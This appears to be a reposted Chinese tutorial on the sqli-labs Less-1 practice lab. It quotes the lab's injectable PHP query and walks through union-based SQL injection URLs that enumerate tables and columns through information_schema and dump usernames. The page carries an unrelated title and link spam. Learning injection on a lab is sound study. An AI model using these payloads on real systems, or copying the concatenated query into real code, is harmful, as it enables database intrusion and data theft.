当前位置: 首页 > news >正文

建设网站需要什么条件平面设计培训网站

建设网站需要什么条件,平面设计培训网站,全国 网站备案 数量,wordpress微博采集靶场搭建好了,访问题目路径 http://127.0.0.1/sqli-labs-master/Less-1/ 我最开始在做sql-labs靶场的时候很迷茫,不知道最后到底要得到些什么,而现在我很清楚,sql注入可以获取数据库中的信息,而获取信息就是我们的目标…

靶场搭建好了,访问题目路径

http://127.0.0.1/sqli-labs-master/Less-1/

我最开始在做sql-labs靶场的时候很迷茫,不知道最后到底要得到些什么,而现在我很清楚,sql注入可以获取数据库中的信息,而获取信息就是我们的目标

 我作为一个初学者,我跟喜欢跟着源码分析思路,所以这里我贴出源码,分析一下

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);if($row){echo "<font size='5' color= '#99FF00'>";echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";echo "<br>";echo '执行的sql语句为:'.$sql;echo '<br/>';echo '<br/>';}else {echo '<font color= "#FFFF00">';print_r(mysql_error());echo "</font>";  }
}else { echo "Please input the ID as parameter with numeric value";}

 下面的语句是正常执行的sql语句

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

当我们更改url为下面的时候

http://127.0.0.1/sqli-labs-master/Less-1/?id=1

此刻我们也就是正常的在users中查询id=1的用户,而此刻前端也就会显示 账号和密码

由于我们审计代码发现只要是sql语句都可以执行,但是我们直接在id处书写语句是不符合sql语句的规范的,这样我们就必须想一个办法让前面的查询id可以正常执行,同时再执行其他的语句,那么这里我们就需要用到联合查询了 。

联合查询

联合查询是可合并多个相似的选择查询的结果集。等同于将一个表追加到另一个表,从而实现将两个表的查询组合到一起,使用谓词为UNION或UNION ALL。

首先我们先闭合前面对id查询的语句

http://127.0.0.1/sqli-labs-master/Less-1/?id=1’ ——+

 我们先是使用'将前面的id查询闭合起来,接着使用--+注释后端的 LIMIT 0,1

SELECT * FROM users WHERE id='1' --+' LIMIT 0,1

在联合查询注入之前要做一件很重要的事,那就是找到回显点,而回显点的个数就需要order by来查询

http://127.0.0.1/sqli-labs-master/Less-1/?id=1'order by 4--+

 当by后的数字为3时不报错,但是改为4的时候却产生报错

这就证明我们有三处回显位置,这时候我们就可以大胆的使用联合查询了

http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,2,database() --+

这里我把id的值赋为0是为了联合查询的特性,前端生肖,那么就执行后端的sql语句

查询security内的所有表名

http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

 group_concat

将组中的字符串连接所有非NULL的字符串,如果没有非Null的字符串,那么它就会返回Null

information_schema.tables 

information_schema.tables存储了数据表的元数据信息

 table_schema 

table_schema 是数据库的名称 

查表里有什么以users表为例 

http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+

 查看字段里的内容(以username里面的内容为例)

http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,database(), group_concat(username) from users --+

 

 

 

http://www.yayakq.cn/news/257324/

相关文章:

  • 高端品牌网站设计企业网站建设有一个做ppt的网站吗
  • 个人网站制作源代码设计一款网页需要多少钱
  • 站长统计芭乐鸭脖小猪网页设计可以自学吗
  • 南康网站建设网站免备案空间
  • 二手手表回收网站做视频网站把视频放在哪里找
  • 广州做网站优化哪家好如何做网站公证
  • 随州企业网站建设绥德网站建设设计
  • 磁力网站怎么做线上推广的方法
  • 创建网站论坛页面设计培训多少钱
  • 网上学设计哪个网站好网站安全维护
  • dw网页制作上机试题站长之家seo信息
  • 江门网站免费制作网站建设的作用和用途
  • 东昌网站建设费用wordpress 4.9.6 zh
  • 优秀网站建设公司公司怎么建设网站首页
  • 番禺网站建设哪里有有没有免费注册的网站
  • 杭州网站建设方案优化重庆做网站熊掌号
  • 专门做网站推广的平台wordpress 顶部登录
  • 专业网站优化电话西安软件开发公司排行
  • 石家庄商城网站搭建多少钱wordpress内部跳转链接
  • 网站域名登录网页设计怎么让图片居中
  • 设计网站什么叫空间不稳定js网站源码已到期
  • 英语作文网站做个微信小程序需要花多少钱
  • 电销如何介绍网站建设开发网站最后进行的步骤是什么
  • 杭州网站建设 企业wordpress收不到网站
  • 长春网站制作方案定制建网站提供下载
  • 树莓派 做网站网站策划模版
  • 如何让网站收录手机客户端下载安装
  • 杭州网站seo推广软件网站优化目的
  • dz网站建设教程做网站编辑是不是也要做推广
  • 怎么恢复网站数据库文件位置在哪个网站可以免费做广告